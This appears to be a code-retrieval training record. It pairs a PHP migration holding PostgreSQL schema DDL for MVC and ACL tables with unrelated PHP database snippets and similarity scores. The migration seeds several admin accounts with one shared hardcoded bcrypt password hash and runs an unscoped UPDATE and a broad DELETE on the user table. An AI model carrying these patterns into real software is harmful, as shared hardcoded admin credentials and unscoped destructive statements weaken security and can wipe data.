'admin');\n\nCREATE TABLE core_mvc_action (\n id INTEGER NOT NULL,\n controller_id INTEGER NOT NULL,\n name TEXT NOT NULL,\n state_id INTEGER REFERENCES ref (obj_id) DEFAULT state_id('core.core_mvc_action.active'),\n init_obj_id INTEGER REFERENCES obj (obj_id),\n create_time TIMESTAMP,\n update_time TIMESTAMP\n);\nSELECT create_class('core.core_mvc_action');\nSELECT ddl_history_tbl('core_mvc_action', 'recreate');\nSELECT create_state('core.core_menu_item', 'active,not_active', NULL);\n\n\n/*CREATE TYPE core_mvc_module_status AS ENUM ('active', 'not_active');*/\n\n\nCREATE TABLE core_mvc_module (\n id INTEGER NOT NULL,\n name TEXT NOT NULL,\n state_id INTEGER NOT NULL DEFAULT state_id('core.core_mvc_module.active'),\n init_obj_id INTEGER REFERENCES obj (obj_id),\n create_time TIMESTAMP,\n update_time TIMESTAMP\n);\nSELECT create_class('core.core_mvc_module');\nSELECT ddl_history_tbl('core_mvc_module', 'recreate');\nSELECT create_state('core.core_mvc_module', 'active,noactive', NULL);\n\n\nINSERT INTO core_mvc_module (id, name, state_id) VALUES\n (1, 'admin', state_id('core.core_mvc_module.active')),\n (2, 'core', state_id('core.core_mvc_module.active')),\n (4, 'user', state_id('core.core_mvc_module.active'));\n\nCREATE TABLE core_mvc_controller (\n id INTEGER NOT NULL,\n module_id INTEGER NOT NULL,\n name TEXT NOT NULL,\n state_id INTEGER NOT NULL DEFAULT state_id('core.core_mvc_module.active'),\n init_obj_id INTEGER REFERENCES obj (obj_id),\n create_time TIMESTAMP,\n update_time TIMESTAMP\n);\nSELECT create_class('core.core_mvc_controller');\nSELECT ddl_history_tbl('core_mvc_controller', 'recreate');\nSELECT create_state('core.core_mvc_controller', 'active,noactive', NULL);\n\n\nINSERT INTO core_mvc_controller (id, module_id, name, state_id) VALUES\n (1, 2, 'menu-menus', state_id('core.core_mvc_controller.active')),\n (2, 2, 'menu-item', state_id('core.core_mvc_controller.active')),\n (3, 2, 'mvc-module', state_id('core.core_mvc_controller.active')),\n (4, 2, 'mvc-controller', state_id('core.core_mvc_controller.active')),\n (5, 2, 'mvc-action', state_id('core.core_mvc_controller.active')),\n (6, 2, 'acl-role', state_id('core.core_mvc_controller.active')),\n (7, 2, 'acl-access', state_id('core.core_mvc_controller.active')),\n (8, 2, 'acl-resource', state_id('core.core_mvc_controller.active')),\n (9, 2, 'acl-accessList', state_id('core.core_mvc_controller.active')),\n (10, 2, 'acl-roleInherit', state_id('core.core_mvc_controller.active')),\n (14, 3, 'setting', state_id('core.core_mvc_controller.active')),\n (15, 4, 'users', state_id('core.core_mvc_controller.active'));\n\n/*\nCREATE TABLE user_users (\n obj_id integer NOT NULL REFERENCES obj(obj_id),\n email text NOT NULL,\n password text NOT NULL,\n name text NOT NULL,\n core_acl_role_id integer NOT NULL,\n state_id integer NOT NULL REFERENCES ref(obj_id),\n init_obj_id integer REFERENCES obj(obj_id),\n create_time TIMESTAMP,\n update_time TIMESTAMP);\nselect create_class('core.user_users');\n\nINSERT INTO user_users (obj_id,email, password, name, core_acl_role_id, state_id) VALUES\n(6, '[email protected]', '$2a$08$GAeqa0pyDZMWBJYdAtKBI.rocjxtQ4RQV9ca1Np02LF6Z6LKUdTNu', 'Artem', 1, state_id('core.user_users.active'));*/\n\n\n/*DROP TRIGGER IF EXISTS ms_refresh_person_ns ON person_ns;\nDROP FUNCTION IF EXISTS ms_refresh_person_ns();\n\nDROP TRIGGER IF EXISTS person_ns_before_insert ON person_ns;\nDROP FUNCTION IF EXISTS person_ns_before_insert();\nDROP TRIGGER IF EXISTS person_ns_before_update ON person_ns;\nDROP FUNCTION IF EXISTS person_ns_before_update();\nDROP TRIGGER IF EXISTS person_ns_odb_after_delete_trigger ON person_ns;\nDROP TRIGGER IF EXISTS person_ns_odb_before_insert_trigger ON person_ns;\nDROP TRIGGER IF EXISTS person_ns_before_change_history_trigger ON person_ns;*/\n\n\ndrop MATERIALIZED view vw_pr;\n\n/*ALTER TABLE person_ns DROP COLUMN auth_key;\nALTER TABLE person_ns DROP COLUMN token;*/\n\n\n\n\nDROP FUNCTION IF EXISTS ms_refresh_person_ns() CASCADE ;\n\ndelete from person_ns\nwhere login not in ('soscredit');\n\nalter table person_ns drop COLUMN type_id;\nalter table person_ns drop COLUMN state_id;\n\n\nDELETE\nFROM ref\nWHERE relname = 'person_ns';\n\n\n\nALTER TABLE person_ns DROP COLUMN update_time;\nALTER TABLE person_ns DROP COLUMN create_time;\n\nALTER TABLE person_ns ADD COLUMN name text;\n\n\nselect create_class('core.person_ns',null);\nSELECT create_state('core.person_ns', 'active,noactive,deleted,blocked', NULL);\n\nalter table person_ns add COLUMN state_id integer DEFAULT state_id('core.person_ns.active');\n\nALTER TABLE person_ns ADD COLUMN update_time TIMESTAMP;\nALTER TABLE person_ns ADD COLUMN create_time TIMESTAMP;\n\n\n\n\nALTER TABLE core_acl_access_list ADD PRIMARY KEY (id);\nCREATE UNIQUE INDEX ON core_acl_access_list (role_id, resource_id, access_id);\n\nCREATE SEQUENCE core_acl_access_list_id_seq;\nALTER TABLE core_acl_access_list ALTER COLUMN id SET DEFAULT nextval('core_acl_access_list_id_seq');\nSELECT setval('core_acl_access_list_id_seq', (SELECT max(id) + 1\n FROM core_acl_access_list));\n\n\nALTER TABLE core_acl_resource ADD PRIMARY KEY (id);\nCREATE UNIQUE INDEX ON core_acl_resource (name);\n\nCREATE SEQUENCE core_acl_resource_id_seq;\nALTER TABLE core_acl_resource ALTER COLUMN id SET DEFAULT nextval('core_acl_resource_id_seq');\nSELECT setval('core_acl_access_list_id_seq', (SELECT max(id) + 1\n FROM core_acl_resource));\n\nALTER TABLE core_acl_resource_access ADD PRIMARY KEY (id);\nCREATE UNIQUE INDEX ON core_acl_resource_access (resource_id, name);\n\nCREATE SEQUENCE core_acl_resource_access_id_seq;\nALTER TABLE core_acl_resource_access ALTER COLUMN id SET DEFAULT nextval('core_acl_resource_access_id_seq');\nSELECT setval('core_acl_resource_access_id_seq', (SELECT max(id) + 1\n FROM core_acl_resource_access));\n\nALTER TABLE core_acl_role ADD PRIMARY KEY (id);\nCREATE UNIQUE INDEX ON core_acl_role (name);\n\nCREATE SEQUENCE core_acl_role_id_seq;\nALTER TABLE core_acl_role ALTER COLUMN id SET DEFAULT nextval('core_acl_role_id_seq');\nSELECT setval('core_acl_role_id_seq', (SELECT max(id) + 1\n FROM core_acl_role));\n\nALTER TABLE core_acl_role_inherit ADD PRIMARY KEY (id);\nCREATE UNIQUE INDEX ON core_acl_role_inherit (role_id, inherit_role_id);\n\n\nCREATE SEQUENCE core_acl_role_inherit_id_seq;\nALTER TABLE core_acl_role_inherit ALTER COLUMN id SET DEFAULT nextval('core_acl_role_inherit_id_seq');\nSELECT setval('core_acl_role_inherit_id_seq', (SELECT max(id) + 1\n FROM core_acl_role_inherit));\n\nALTER TABLE core_menu_item ADD PRIMARY KEY (id);\nCREATE INDEX ON core_menu_item (state_id);\n\nCREATE SEQUENCE core_menu_item_id_seq;\nALTER TABLE core_menu_item ALTER COLUMN id SET DEFAULT nextval('core_menu_item_id_seq');\nSELECT setval('core_menu_item_id_seq', (SELECT max(id) + 1\n FROM core_menu_item));\n\nALTER TABLE core_menu_menus ADD PRIMARY KEY (id);\n\nCREATE SEQUENCE core_menu_menus_id_seq;\nALTER TABLE core_menu_menus ALTER COLUMN id SET DEFAULT nextval('core_menu_menus_id_seq');\nSELECT setval('core_menu_menus_id_seq', (SELECT max(id) + 1\n FROM core_menu_menus));\n\n\nALTER TABLE core_mvc_action ADD PRIMARY KEY (id);\nCREATE UNIQUE INDEX ON core_mvc_action (controller_id, name);\n\n\nCREATE SEQUENCE core_mvc_action_id_seq;\nALTER TABLE core_mvc_action ALTER COLUMN id SET DEFAULT nextval('core_mvc_action_id_seq');\nSELECT setval('core_mvc_action_id_seq', (SELECT max(id) + 1\n FROM core_menu_menus));\n\nALTER TABLE core_mvc_controller ADD PRIMARY KEY (id);\n\nCREATE SEQUENCE core_mvc_controller_id_seq;\nALTER TABLE core_mvc_controller ALTER COLUMN id SET DEFAULT nextval('core_mvc_controller_id_seq');\nSELECT setval('core_mvc_controller_id_seq', (SELECT max(id) + 1\n FROM core_mvc_controller));\n\n\nALTER TABLE core_mvc_module ADD PRIMARY KEY (id);\n\nCREATE SEQUENCE core_mvc_module_id_seq;\nALTER TABLE core_mvc_module ALTER COLUMN id SET DEFAULT nextval('core_mvc_module_id_seq');\nSELECT setval('core_mvc_module_id_seq', (SELECT max(id) + 1\n FROM core_mvc_module));\n\n\nALTER TABLE core_acl_role_inherit ADD FOREIGN KEY (role_id) REFERENCES core_acl_role (id);\nALTER TABLE core_acl_role_inherit ADD FOREIGN KEY (inherit_role_id) REFERENCES core_acl_role_inherit (id);\nALTER TABLE core_acl_resource_access ADD FOREIGN KEY (resource_id) REFERENCES core_acl_resource (id);\nALTER TABLE core_acl_access_list ADD FOREIGN KEY (role_id) REFERENCES core_acl_role (id);\nALTER TABLE core_acl_access_list ADD FOREIGN KEY (resource_id) REFERENCES core_acl_resource (id);\nALTER TABLE core_acl_access_list ADD FOREIGN KEY (access_id) REFERENCES core_acl_resource_access (id);\n\n\nALTER TABLE person_ns ADD COLUMN core_acl_role_id INTEGER NOT NULL REFERENCES core_acl_role (id) DEFAULT 1;\nALTER TABLE person_ns drop column login;\nALTER TABLE person_ns alter column tree set DEFAULT 1;\nALTER TABLE person_ns drop column pathl;\n\n\n\ncreate UNIQUE INDEX person_ns_email_unq on person_ns(email);\n\nselect ddl_history_tbl('person_ns','recreate');\n\nupdate person_ns\nset email = '[email protected]';\n\nINSERT INTO person_ns (email,password, name, core_acl_role_id, state_id) VALUES\n ('[email protected]','$2a$08$GAeqa0pyDZMWBJYdAtKBI.rocjxtQ4RQV9ca1Np02LF6Z6LKUdTNu', 'Artem', 1,\n state_id('core.person_ns.active'));\n\nINSERT INTO person_ns (email,password, name, core_acl_role_id, state_id) VALUES\n ('[email protected]','$2a$08$GAeqa0pyDZMWBJYdAtKBI.rocjxtQ4RQV9ca1Np02LF6Z6LKUdTNu', 'Victor', 1,\n state_id('core.person_ns.active'));\n\nINSERT INTO person_ns (email,password, name, core_acl_role_id, state_id) VALUES\n ('[email protected]','$2a$08$GAeqa0pyDZMWBJYdAtKBI.rocjxtQ4RQV9ca1Np02LF6Z6LKUdTNu', 'Oleg', 1,\n state_id('core.person_ns.active'));\n\nEOD;\n $count = $this->execute($query);\n }", "function db_impcarne($objpdf,$impmodelo){\n $this->objpdf = $objpdf;\n $this->impmodelo = $impmodelo; \n }", "public function __clone()\n {\n $this->query = clone $this->query;\n }", "private function deepRefToObj()\n {\n $allFields = $this->toArray();\n foreach ($allFields as $key => $val) {\n if (Mongo\\AdHocDBRef::isRef($val)) {\n $val = Mongo\\AdHocDBRef::expand($val);\n $this->$key = $val;\n } elseif (is_array($val)) {\n list ($converted, $changed) = $this->_recR2O($val);\n if ($changed)\n $this->$key = $converted;\n }\n }\n }", "function ObjetSuivant ($resultat)\n\n\t{\n\n\t\treturn mysql_fetch_object ($resultat);\n\n\t}", "private function __clone(){\n\t}", "public function _query()\n {\n }", "abstract public function newQuery();", "public function __construct()\r\n\t{\r\n\t\t$this->db = SPDO::singleton();\r\n\t}", "static function createObject () {\n $query = 'insert into '.Config::getTablePrifix().self::getTableName().' (';\n $feilds = self::getFeildNames();\n $query .= implode(',',$feilds);\n $query .= ') values(';\n foreach ($feilds as $feild) {\n if ($feild != current($feilds)) {\n $query .= ',';\n }\n $query .= '\\''.Database::escape(self::getFeildValue($feild)).'\\'';\n }\n $query .= ')';\n Database::query($query);\n // update the id feild value\n $lastInsertId = Database::queryAsObject('select max(id) as lastid from '.Config::getTablePrifix().self::getTableName());\n self::setFeildValue(self::getIdFeild(),$lastInsertId->lastid);\n return $this;\n }", "function eZEnhancedObjectRelationType()\n {\n $this->eZDataType( EZ_DATATYPESTRING_ENHANCED_OBJECT_RELATION, ezi18n( 'kernel/classes/datatypes', \"Enhanced Object relation\", 'Datatype name' ),\n array( 'serialize_supported' => true ) );\n }" ]
[ "0.5820716", "0.57878596", "0.5615562", "0.54403424", "0.5439083", "0.53703195", "0.5324208", "0.53176874", "0.5294178", "0.52876914", "0.52729756", "0.5256006", "0.52448475", "0.52423143", "0.52404803", "0.52360904", "0.52156484", "0.521515", "0.52087563", "0.5200004", "0.51750445", "0.5165861", "0.5147657", "0.5140852", "0.51344365", "0.5122881", "0.5122881", "0.5096145", "0.50906587", "0.5080769", "0.5072544", "0.5031021", "0.500608", "0.5002758", "0.49975857", "0.499657", "0.49893853", "0.4987989", "0.49810976", "0.49753547", "0.49724138", "0.49590686", "0.49382246", "0.49267584", "0.4925626", "0.49240336", "0.49085248", "0.4904994", "0.48967347", "0.48925248", "0.4880376", "0.48794293", "0.48675138", "0.4862559", "0.48563275", "0.48496345", "0.48470682", "0.48470682", "0.48415482", "0.4839495", "0.48389542", "0.48221084", "0.4816521", "0.4812859", "0.48031378", "0.48005864", "0.47993723", "0.47951907", "0.478541", "0.47851828", "0.4784513", "0.47802702", "0.47790593", "0.4770837", "0.47664765", "0.47655904", "0.47639373", "0.47602746", "0.47592", "0.4753823", "0.47473565", "0.47442174", "0.47427747", "0.47413537", "0.47410268", "0.47353238", "0.4734351", "0.47254497", "0.47241342", "0.4722854", "0.47190642", "0.47181726", "0.47154686", "0.47107723", "0.4710078", "0.47098312", "0.47087693", "0.47081044", "0.47015515", "0.46966782", "0.46892676" ]
0.0
-1
////////////////////////////////////////////////////////////////////////// CREATE A CONNECTION TO THE POSTGRESQL SERVER //////////////////////////////////////////////////////////////////////////
public function connect() { $auth = $this->auth(); $this->connection = @pg_connect( " host='" . $auth['server'] . "'" . " dbname='" . $auth['database'] . "'" . " user='" . $auth['username'] . "'" . " password='" . $auth['password'] . "'" . " connect_timeout='" . $auth['timeout'] . "'" . " options='--client_encoding=UTF8'" ); if ($this->connection === false) { $error = error_get_last(); throw new pudlException( $this, 'ERROR CONNECTING TO POSTGRESQL: ' . $error['message'], PUDL_X_CONNECTION ); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function createConection(){\n\n\t\tglobal $db_host;\n\t\tglobal $db_usr;\n\t\tglobal $db_pwd;\n\t\tglobal $db_name;\n\t\tglobal $db_port;\n\n\t\treturn pg_connect('user='.$db_usr.' password='.$db_pwd.' host= '.$db_host.' dbname = '.$db_name.' port = '.$db_port);\n\t}", "private static function get_connect(){\n static::$db = pg_connect(static::$host . \" \" . static::$port . \" \" . static::$database . \" \" . static::$user . \" \" . static::$pass);\n }", "function Open(){\n\t\t$this->con = pg_connect($this->strCon);\n\t}", "function dbconnect()\n\t{\n\t\t$dbConnString = \"host=173.254.28.90 options='--client_encoding=UTF8' user=feedmati_user dbname=feedmati_system password=PZi0wuz9n+XX\";\n\t\t$dbConn = pg_connect($dbConnString ) or die(\"Problem with connection to PostgreSQL:\".pg_last_error());\n\t\treturn $dbConn;\n\t}", "function conectar(){\r\n\t\tpg_connect(\"host=localhost port=5432 dbname=moodleuece user=postgres password=root\");\t\t\t\t\r\n}", "function db_connect()\n{\n return pg_connect(\"host=\" . DB_HOST . \" port=\" . DB_PORT . \" dbname=\" . DATABASE . \" user=\" . DB_ADMIN . \" password=\" . DB_PASSWORD);\n}", "public function connect()\n { try{\n\n //$this->conn = pg_connect(\"host=localhost dbname=postgres user=postgres password=siem\");\n $this->conn = pg_connect(\"host=db dbname=siem2013 user=siem2013 password=fabiofernando\");\n\n }catch(Exception $e){\n return false;\n } \n if (!$this->conn) {\n return false;\n }\n $query = \"set schema 'explicafeup';\";\n pg_exec($this->conn, $query);\n return true;\n }", "function connect()\n {\n\trequire_once dirname(__FILE__) . '/db_config.php';\n\t$connstring = \"host={$DB_SERVER} port={$DB_PORT} dbname={$DB_DATABASE} \".\n\t\t \"user={$DB_USER} password={$DB_PASSWORD}\";\n\t$db = pg_connect($connstring);\n\n\treturn $db;\n }", "public function sql_pconnect() {}", "public function sql_pconnect() {}", "function pdo_connect_pgsql($host, $dbname, $username = null, $password = null, array $driver_options = array())\n {\n return pdo_connect(\"pgsql:host={$host};dbname={$dbname};user={$username};password={$password}\", $driver_options);\n }", "public function __construct() {\n\t\t$this->con = pg_connect(\"host=mcsdb.utm.utoronto.ca port=5432 dbname=jaggisi1_309 user=jaggisi1 password=74162\");\n\t\tif(!$this->con){\n\t\t\t\techo(\"Can't connect to the database\");\n\t\t\t\texit;\n\t\t\t}\t\t\n\t\t}", "static function open(string $params): void {\n /*PhpDoc: methods\n name: open\n title: static function open(string $params) - ouvre une connexion PgSql\n doc: |\n Le motif des paramètres est:\n - 'host={server}( port={port})? dbname={dbname} user={user}( password={password})?' ou\n - 'pgsql://{user}(:{password})?@{server}(:{port})?/{dbname}(/{schema})?'\n Si le mot de passe n'est pas fourni alors il est recherché dans le fichier secret.inc.php\n Si le schéma est fourni alors il est initialisé après l'ouverture de la base.\n */\n //echo \"PgSql::open($connection_string)\\n\";\n $pattern = '!^host=([^ ]+)( port=([^ ]+))? dbname=([^ ]+) user=([^ ]+)( password=([^ ]+))?$!';\n if (preg_match($pattern, $params, $matches)) {\n $server = $matches[1];\n $port = $matches[3];\n $database = $matches[4];\n $user = $matches[5];\n $passwd = $matches[7] ?? null;\n $schema = null;\n $conn_string = $params;\n }\n elseif (preg_match('!^pgsql://([^@:]+)(:[^@]+)?@([^:/]+)(:\\d+)?/([^/]+)(/.*)?$!', $params, $matches)) {\n $user = $matches[1];\n $passwd = $matches[2] ? substr($matches[2], 1) : null;\n $server = $matches[3];\n $port = $matches[4] ? substr($matches[4], 1) : '';\n $database = $matches[5];\n $schema = isset($matches[6]) ? substr($matches[6], 1) : null;\n //print_r($matches); die();\n $conn_string = \"host=$server\".($port ? \" port=$port\": '')\n .\" dbname=$database user=$user\".($passwd ? \" password=$passwd\": '');\n //echo \"conn_string=$conn_string\\n\";\n }\n else\n throw new Exception(\"Erreur: dans PgSql::open() params \\\"$params\\\" incorrect\");\n self::$server = $server;\n self::$database = $database;\n self::$schema = $schema;\n if (!$passwd) {\n if (!is_file(__DIR__.'/secret.inc.php'))\n throw new Exception(\"Erreur: dans PgSql::open($conn_string), fichier secret.inc.php absent\");\n else {\n $secrets = require(__DIR__.'/secret.inc.php');\n \n if (!($passwd = $secrets['sql'][\"pgsql://$user@$server\".($port?\":$port\":'')] ?? null))\n throw new Exception(\"Erreur: dans PgSql::open($params), mot de passe absent de secret.inc.php\");\n }\n $conn_string .= \" password=$passwd\";\n //echo \"conn_string=$conn_string\\n\"; //die();\n }\n if (!(self::$connection = @pg_connect($conn_string)))\n throw new Exception(\"Could not connect to \\\"pgsql://$user:***@$server\".($port?\":$port\":'').\"/\\\"\");\n \n if ($schema) {\n //echo \"query(SET search_path TO $schema)\\n\";\n self::query(\"SET search_path TO $schema\");\n }\n }", "function db_pgsql($db_name, $db_user, $db_pass, $db_host, $db_port = 5432, $db_socket = '')\n\t{\n\t\tparent::database($db_name, $db_user, $db_pass, $db_host, $db_port, $db_socket);\n\t\t$pg_connstr = \"host=$db_host port=$db_port dbname=$db_name user=$db_user password=$db_pass\";\n\n\t\t$this->connection = @pg_connect($pg_connstr);\n\t}", "function pg_connection_string() {\n\treturn \"dbname=d2ffcrdlj7m0dp host=ec2-54-197-246-197.compute-1.amazonaws.com port=5432 user=ihtxpbixayjwqp password=lk0N0phG-frjKVxCYIEUi4U-I6 sslmode=require\";\n}", "function conectar(){\n\n\t\t$conec= pg_connect(\"host='\".HOST.\"' dbname=\".DBNAME.\" port=\".PORT.\" user=\".USER.\" password=\".PASSWORD) or die(\"ERROR EN LA CONEXION\".pg_last_error());\n\t\treturn $conec;\n\t}", "function db_driver_connect()\n{\n global $_db;\n\n $_db['resource'][$_db['target']]['dbh'] = pg_connect('host=' . $_db['resource'][$_db['target']]['config']['host'] . ($_db['resource'][$_db['target']]['config']['port'] ? ' port=' . $_db['resource'][$_db['target']]['config']['port'] : '') . ' dbname=' . $_db['resource'][$_db['target']]['config']['name'] . ' user=' . $_db['resource'][$_db['target']]['config']['username'] . ' password=' . $_db['resource'][$_db['target']]['config']['password'], true);\n if (!$_db['resource'][$_db['target']]['dbh']) {\n if (LOGGING_MESSAGE) {\n logging('message', 'db: Connect error');\n }\n\n error('db: Connect error');\n }\n\n return;\n}", "private static function getConnection() {\n if (self::$connection == NULL) {\n self::$connection = new PDO(\"pgsql:\");\n self::$connection->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);\n }\n \n return self::$connection; \n }", "private function connectDatabase() {\r\r\n\t\t$this->dbHandle = \\TYPO3\\CMS\\Core\\Utility\\GeneralUtility::makeInstance('TYPO3\\\\CMS\\\\Core\\\\Database\\\\DatabaseConnection');\r\r\n\t\t$this->dbHandle->setDatabaseHost($this->dbHost);\r\r\n\t\t$this->dbHandle->setDatabaseUsername($this->dbUsername);\r\r\n\t\t$this->dbHandle->setDatabasePassword($this->dbPassword);\r\r\n\t\t$this->dbHandle->setDatabaseName($this->db);\r\r\n\t\t$this->dbHandle->sql_pconnect();\r\r\n\t\t$this->dbHandle->sql_select_db();\r\r\n\t}", "function conectar(){\n $this->conexion_bd = pg_connect(\"host=190.109.100.36 port=5432 dbname=scdat user=postgres password=invepal1nv3p4l\") or die('No pudo conectarse: ' . pg_last_error());\n// $this->conexion_bd = pg_connect(\"host=localhost port=5432 dbname=scdat user=postgres password=l4v1rg3n\") or die('No pudo conectarse: ' . pg_last_error());\n return ($this->conexion_bd);\n }", "public function __construct() {\n //$username = \"postgres\";\n //$password = \"123456\";\n #die(\"--\");\n #$this->conn = pg_connect(\"host=\".$host.\" port=\".$port.\" dbname=\".$dbname.\" user=\".$username.\" password=\".$password);\n //$this->conn = oci_connect(sfConfig::get('USER_ORACLE'), sfConfig::get('PASS_ORACLE'), sfConfig::get('IP_ORACLE'),'AL32UTF8');\n #$this->conn = pg_connect(\"host=\".$host.\" port=\".$port.\" dbname=\".$dbname.\" user=\".$username.\" password=\".$password);\n //connect to database\n //$this->conn = mysqli_connect($host, $username, $password, $dbname) or die(mysqli_connect_error());\n\n $this->conn = mysqli_connect(sfConfig::get('IP_HOST'), sfConfig::get('USER_NAME'), sfConfig::get('PASS'), sfConfig::get('DB_NAME')) or die(mysqli_connect_error());\n\n mysqli_set_charset($this->conn,\"utf8\");\n\t}", "function connectDb()\n{\n //$connect_query = 'host=localhost user=zeng dbname=bookdb_1981117';\n $conn = pg_connect('host=localhost port=5432 dbname=bookdb_1981117 user=postgres password=angels');\n if ($error = pg_last_error($conn)) {\n\n print $error;\n };\n\n return $conn;\n}", "public function getConnection(){\n \n $this->conn = null;\n $dsn=\"mysql:host=\" . $this->host . \";port=\" . $this->port . \";dbname=\" . $this->db_name;\n \n try{\n $this->conn = new PDO($dsn, $this->username, $this->password);\n //$this->conn = new PDO(\"pgsql:host=localhost;port=5432;dbname=PHP_tutorial\", $this->username, $this->password);\n \n }catch(PDOException $exception){\n echo \"Connection error: \" . $exception->getMessage() . \"\\n\";\n echo \"DSN = \" . $dsn;\n }\n return $this->conn;\n }", "function createConnect()\r\n\t\t{\r\n\t\t$this->conn=mysql_pconnect($this->host,$this->user,$this->password);\r\n\t\tif(!is_resource($this->conn))\r\n\t\t\t{\r\n\t\t\t$this->errors=\"Could Not able to connect to the SQL Server.\";\r\n\t\t\t}\r\n\t\t$d = mysql_select_db($this->dbname, $this->conn);\r\n\t\tif(!is_resource($d))\r\n\t\t\t{\r\n\t\t\t$this->errors=\"Could Not able to Use database \".$this->dbname.\".\";\r\n\t\t\t}\r\n\t\t}", "public function __construct() {\n\t\t$this->db = pg_connect(\"host=localhost dbname='cdi13' user='cdi13' password='cdi13database'\");\n\t}", "public function connect()\n {\n $config = $this->config;\n $config = array_merge($this->_baseConfig, $config);\n\n $conn = \"DATABASE='{$config['database']}';HOSTNAME='{$config['host']}';PORT={$config['port']};\";\n $conn .= \"PROTOCOL=TCPIP;UID={$config['username']};PWD={$config['password']};\";\n\n if (!$config['persistent']) {\n $this->connection = db2_connect($conn, PGSQL_CONNECT_FORCE_NEW);\n } else {\n $this->connection = db2_pconnect($conn);\n }\n $this->connected = false;\n\n if ($this->connection) {\n $this->connected = true;\n $this->query('SET search_path TO '.$config['schema']);\n }\n if (!empty($config['charset'])) {\n $this->setEncoding($config['charset']);\n }\n\n return $this->connection;\n }", "public function connect() {\n\t\t$cnn_string = 'host='.$this->_dbhost.' port='.$this->_dbport.' user='.$this->_dbuser.' password='.$this->_dbpass.' dbname='.$this->_dbname;\n\t\t\n\t\t$this->_instance = pg_connect($cnn_string) or PK_debug(__FUNCTION__, \"No se ha podido conectar con la DB\\n\\n\".pg_errormessage(), array('class'=>'error'));\n\t\t\n\t\tif (!$this->_instance) {\n\t\t\techo '<h1>Error en la aplicacion</h1><p>No se ha podido conectar con la base de datos</p>';\n\t\t\tPK_debug('', '', 'output');\n\t\t\texit();\n\t\t}\n\t\t\n\t\treturn $this->_instance;\n\t}", "public function getConnection(){\n $this->conn = null;\n \n $this->connection = \"host=\".$this->host.\" \";\n $this->connection .= \"port=\".$this->db_port.\" \";\n $this->connection .= \"dbname=\".$this->db_name.\" \";\n $this->connection .= \"user=\".$this->db_user.\" \";\n $this->connection .= \"dbname=\".$this->db_name.\" \";\n $this->connection .= \"password=\".$this->db_pass.\"\";\n \n try{\n $this->conn = pg_connect($this->connection) or die('Fail to connect');\n \n }catch (Exception $e){\n echo $e->getTraceAsString();\n $msg = \"[ERR] Falló al conectar con la BD. Error: \".$e.\" Fecha: \".$GLOBALS['date'].\"\\n\";\n errorLog($msg);\n \n }\n ## 3 more checks\n if(!$this->conn){\n $msg = \"[ERR] Error con la conexion en la base de datos \".$GLOBALS['date']. \"\\n\";\n errorLog($msg);\n print \"<h2 style=\\\"color:red;\\\">\".$msg.\"</h2>\";\n }\n \n $check2 = pg_get_result($this->conn);\n echo pg_result_error($check2);\n \n $check3 = pg_connection_status($this->conn);\n if ($check3 === PGSQL_CONNECTION_OK){\n $msg = \"[INFO] Connect to Database established \".$GLOBALS['date'].\"\\n\";\n controlLog($msg);\n }\n return $this->conn;\n\n }", "function connectDB(): object\n{\n\t$dbh = new PDO('pgsql:host=database;dbname=proto', 'proto', 'proto');\n\t$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_WARNING); //PHP warnings for SQL errors\n\treturn $dbh ;\n}", "function connectToHostDb()\n {\n $this->setDb('host');\n $this->connect();\n if ($this->dbconnect)\n {\n return;\n }\n $this->setDb('postgres');\n $this->connect();\n if (!$this->dbconnect)\n {\n echo \"Error connecting to host postgres database.\\n\";\n echo \"Tried names 'host' and 'postgres'\\n\";\n }\n }", "function db_connect()\n{\n $PDO = new PDO(\"pgsql:host=\".DB_HOST.\"; dbname=\".DB_NAME.\"; user=\".DB_USER.\"; password=\".DB_PASS.\"\");\n \n return $PDO;\n}", "public function connect() {\r\n\t\t//$\t\tconn = new PDO(\"sqlsrv:server=$this->serverName; Database = $this->dbName\", $userName, $userPassword);\r\n\t\t//$\t\tconn->setAttribute(PDO::SQLSRV_ATTR_ENCODING, PDO::SQLSRV_ENCODING_UTF8);\r\n\t\t// \t\t$sql_Connect_str = \"sqlsrv:server=$this->serverName; Database = $this->dbName\";\r\n\t\t// \t\t$dbConnection = new PDO($sql_Connect_str, $this->userName, $this->userPassword);\r\n\t\t//$\t\tdbConnection->setAttribute(PDO::SQLSRV_ATTR_ENCODING, PDO::SQLSRV_ENCODING_UTF8);\r\n\t\t// \t\t$dbConnection->setAttribute(PDO::SQLSRV_ATTR_ENCODING, PDO::SQLSRV_ENCODING_UTF8);\r\n\t\t//r\t\teturn $dbConnection;\r\n\t\t\r\n\t\t$mssql = new PDO('dblib:host=RPT00024;dbname=eqcas', 'sa', 'dsc2007!@');\r\n\t\t//$\t\tmssql->setAttribute(PDO::SQLSRV_ATTR_ENCODING, PDO::SQLSRV_ENCODING_UTF8);\r\n\t\t$mssql->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\r\n\t\treturn $mssql;\r\n\t}", "function db_connect($db_hostname, $db_username, $db_password, $db_name)\n\t{ global $db_port;\n\t\t$this->db_connection = pg_connect(\"host=\".$db_hostname.\" port=\".$db_port.\" dbname=\".$db_name.\" user=\".$db_username.\" password=\".$db_password) \n\t\t\tOR die (\"Connection Error to PostgreSQL Server\");\n\t\treturn $this->db_connection;\n\t}", "function conexion()\n {\n session_start();\n $conexion = pg_connect( \"host=localhost port=5432 dbname=rutas user=postgres password=narcos\" )\n or die('No se ha podido conectar al servidor.');\n }", "function getDatabaseConnection() {\n\t\tif (!$dbHost = $_SERVER[\"DB_SERVER_PGSQL\"]) {\n\t\t\t$dbHost = \"localhost\";\n\t\t}\n\t\t// Database Connection\n\t\tif (!$dbConnection = pg_connect(\"host={$dbHost} port=5432 dbname=SmsGateway user=WebUser password=test\")) {\n\t\t\ttrigger_error(\"Database Error\", E_USER_ERROR);\n\t\t\texit;\n\t\t}\n\t\treturn $dbConnection;\n\t}", "function openConnection($database_name = 'proami', $exit = true)\n{\n $connection = pg_connect(\"host=labsmart.florianopolis.ifsc.edu.br port=5432 dbname=$database_name user=smartifsc_website password=51KTrPq3205 connect_timeout=1\");\n if ($connection) {\n return $connection;\n } else {\n if ($exit) {\n echo json_encode(null);\n // finaliza o script que chamou essa função, sem ler as próximas linhas do script.\n exit();\n } else {\n return $connection;\n }\n }\n}", "public function connect() {\n\n // read parameters in the ini configuration file\n //$params = parse_ini_file('database.ini');\n $environment = parse_url(getenv(\"DATABASE_URL\"));\n\n //if ($params === false) {throw new \\Exception(\"Error reading 